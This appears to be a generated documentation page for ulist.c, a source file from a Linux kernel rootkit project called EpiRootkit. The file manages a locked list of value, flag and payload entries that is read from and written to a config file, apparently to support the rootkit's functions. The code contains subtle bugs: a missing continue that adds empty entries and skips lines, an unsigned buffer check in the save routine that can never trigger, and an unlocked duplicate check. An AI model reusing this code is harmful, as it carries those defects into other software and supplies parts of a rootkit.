EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
ulist.c
Go to the documentation of this file.
1#include "ulist.h"
2
3#include <linux/err.h>
4#include <linux/file.h>
5#include <linux/fs.h>
6#include <linux/limits.h>
7#include <linux/module.h>
8#include <linux/namei.h>
9#include <linux/slab.h>
10#include <linux/string.h>
11
12#include "config.h"
13#include "io.h"
14
23static bool ulist_has_item(struct ulist *ul, const char *value) {
24 struct ulist_item *it;
25
26 // Check only the value in the list
27 // (we don't care about flags or payload)
28 list_for_each_entry(it, &ul->head, list) {
29 if (strcmp(it->value, value) == 0)
30 return true;
31 }
32 return false;
33}
34
39void ulist_clear(struct ulist *ul) {
40 struct ulist_item *it, *tmp;
41 spin_lock(&ul->lock);
42 list_for_each_entry_safe(it, tmp, &ul->head, list) {
43 list_del(&it->list);
44 kfree(it->value);
45 kfree(it->payload);
46 kfree(it);
47 }
48 spin_unlock(&ul->lock);
49}
50
58int ulist_load(struct ulist *ul) {
59 char cfgpath[512];
60 char *buf = NULL;
61 char *p, *newline;
62 int ret;
63
64 if (!ul || !ul->filename) {
65 ERR_MSG("ulist_load: invalid arguments ul=%p filename=%p\n", ul,
66 ul ? ul->filename : NULL);
67 return -EINVAL;
68 }
69 build_cfg_path(ul->filename, cfgpath, sizeof(cfgpath));
70
71 ret = _read_file(cfgpath, &buf);
72 if (ret < 0) {
73 if (ret == -ENOENT) {
74 DBG_MSG("ulist_load: no config file '%s'\n", cfgpath);
75 return 0;
76 }
77 ERR_MSG("ulist_load: error reading '%s': %d\n", cfgpath, ret);
78 return ret;
79 }
80
81 if (!buf[0]) {
82 DBG_MSG("ulist_load: empty config '%s'\n", cfgpath);
83 kfree(buf);
84 return 0;
85 }
86
87 p = buf;
88 while (*p) {
89 char line[ULIST_LINE_MAX];
90 size_t len;
91 char *fields[3] = { NULL, NULL, NULL };
92 char *cursor;
93 u32 flags = 0;
94 char *payload = NULL;
95 int rc;
96
97 // Find end of this line
98 newline = strpbrk(p, "\r\n");
99 len = newline ? (newline - p) : strlen(p);
100
101 // Skip empty lines
102 if (len == 0) {
103 if (!newline)
104 break;
105 p = newline + 1;
106 continue;
107 }
108
109 // Clamp overly long lines
110 if (len >= ULIST_LINE_MAX) {
111 ERR_MSG("ulist_load: skipping too-long line\n");
112 if (!newline)
113 break;
114 p = newline + 1;
115 continue;
116 }
117
118 memcpy(line, p, len);
119 line[len] = '\0';
120
121 // Split into exactly three fields around '|'
122 cursor = line;
123 fields[0] = strsep(&cursor, "|");
124 fields[1] = strsep(&cursor, "|");
125 fields[2] = cursor;
126
127 // The field[0] must be non-empty eheh
128 if (!fields[0] || !*fields[0]) {
129 ERR_MSG("ulist_load: missing value, skipping line\n");
130 if (!newline)
131 break;
132 p = newline + 1;
133 }
134
135 // Parse flags (default to 0 on error)
136 if (fields[1] && *fields[1]) {
137 int err = kstrtou32(fields[1], 10, &flags);
138 if (err) {
139 ERR_MSG("ulist_load: bad flags '%s', using 0\n", fields[1]);
140 flags = 0;
141 }
142 }
143
144 // Payload may be empty string so treat it as NULL lol
145 if (fields[2] && *fields[2])
146 payload = fields[2];
147
148 // Add to list
149 rc = ulist_add(ul, fields[0], flags, payload);
150 if (rc < 0)
151 ERR_MSG("ulist_load: ulist_add(%s) failed: %d\n", fields[0], rc);
152
153 if (!newline)
154 break;
155 p = newline + 1;
156 }
157
158 kfree(buf);
159 return 0;
160}
161
169int ulist_save(struct ulist *ul) {
170 char cfgpath[128];
171 char *buf, *q;
172 size_t left = STD_BUFFER_SIZE;
173 struct ulist_item *it;
174 int ret;
175
176 buf = kzalloc(STD_BUFFER_SIZE, GFP_KERNEL);
177 if (!buf)
178 return -ENOMEM;
179 q = buf;
180
181 spin_lock(&ul->lock);
182 list_for_each_entry(it, &ul->head, list) {
183 int n = scnprintf(q, left, "%s|%u|%s\n", it->value, it->flags,
184 it->payload ?: "");
185 q += n;
186 left -= n;
187 if (left <= 0)
188 break;
189 }
190 spin_unlock(&ul->lock);
191
192 build_cfg_path(ul->filename, cfgpath, sizeof(cfgpath));
193 ret = _write_file(cfgpath, buf, q - buf);
194 kfree(buf);
195 return ret > 0 ? 1 : ret;
196}
197
208int ulist_add(struct ulist *ul, const char *value, u32 flags,
209 const char *payload) {
210 if (ulist_has_item(ul, value)) {
211 return -EEXIST;
212 }
213
214 struct ulist_item *it = kzalloc(sizeof(*it), GFP_KERNEL);
215 if (!it)
216 return -ENOMEM;
217
218 it->value = kstrdup(value, GFP_KERNEL);
219 it->flags = flags;
220 it->payload = payload ? kstrdup(payload, GFP_KERNEL) : NULL;
221 INIT_LIST_HEAD(&it->list);
222
223 spin_lock(&ul->lock);
224 list_add_tail(&it->list, &ul->head);
225 spin_unlock(&ul->lock);
226 return SUCCESS;
227}
228
236int ulist_remove(struct ulist *ul, const char *value) {
237 struct ulist_item *it, *tmp;
238 spin_lock(&ul->lock);
239 list_for_each_entry_safe(it, tmp, &ul->head, list) {
240 if (!strcmp(it->value, value)) {
241 list_del(&it->list);
242 kfree(it->value);
243 kfree(it->payload);
244 kfree(it);
245 }
246 }
247 spin_unlock(&ul->lock);
248 return 0;
249}
250
258int ulist_contains(struct ulist *ul, const char *value) {
259 struct ulist_item *it;
260 int found = 0;
261
262 spin_lock(&ul->lock);
263 list_for_each_entry(it, &ul->head, list) {
264 if (!strcmp(it->value, value)) {
265 found = 1;
266 break;
267 }
268 }
269 spin_unlock(&ul->lock);
270 return found;
271}
272
282int ulist_list(struct ulist *ul, char *buf, size_t buf_size) {
283 struct ulist_item *it;
284 size_t left = buf_size;
285 char *p = buf;
286 int n;
287
288 if (!ul || !buf || buf_size == 0)
289 return -EINVAL;
290
291 spin_lock(&ul->lock);
292 list_for_each_entry(it, &ul->head, list) {
293 n = scnprintf(p, left, "%s|%u|%s\n", it->value, it->flags,
294 it->payload ?: "");
295 if (n >= left)
296 break;
297 p += n;
298 left -= n;
299 }
300 spin_unlock(&ul->lock);
301
302 if (left > 0)
303 *p = '\0';
304 else
305 buf[buf_size - 1] = '\0';
306
307 return p - buf;
308}
#define ERR_MSG(fmt, args...)
Definition config.h:16
#define DBG_MSG(fmt, args...)
Definition config.h:15
#define SUCCESS
Definition config.h:5
#define STD_BUFFER_SIZE
Definition config.h:68
#define ULIST_LINE_MAX
Definition config.h:70
void build_cfg_path(const char *fname, char *out, size_t sz)
Definition io.c:87
int _write_file(const char *path, const char *buf, size_t len)
Definition io.c:67
int _read_file(const char *path, char **out_buf)
Definition io.c:12
char * payload
Definition ulist.h:11
struct list_head list
Definition ulist.h:12
char * value
Definition ulist.h:9
u32 flags
Definition ulist.h:10
Definition ulist.h:15
struct list_head head
Definition ulist.h:16
spinlock_t lock
Definition ulist.h:17
const char * filename
Definition ulist.h:18
int ulist_add(struct ulist *ul, const char *value, u32 flags, const char *payload)
Definition ulist.c:208
void ulist_clear(struct ulist *ul)
Definition ulist.c:39
int ulist_load(struct ulist *ul)
Definition ulist.c:58
int ulist_list(struct ulist *ul, char *buf, size_t buf_size)
Definition ulist.c:282
static bool ulist_has_item(struct ulist *ul, const char *value)
Definition ulist.c:23
int ulist_save(struct ulist *ul)
Definition ulist.c:169
int ulist_remove(struct ulist *ul, const char *value)
Definition ulist.c:236
int ulist_contains(struct ulist *ul, const char *value)
Definition ulist.c:258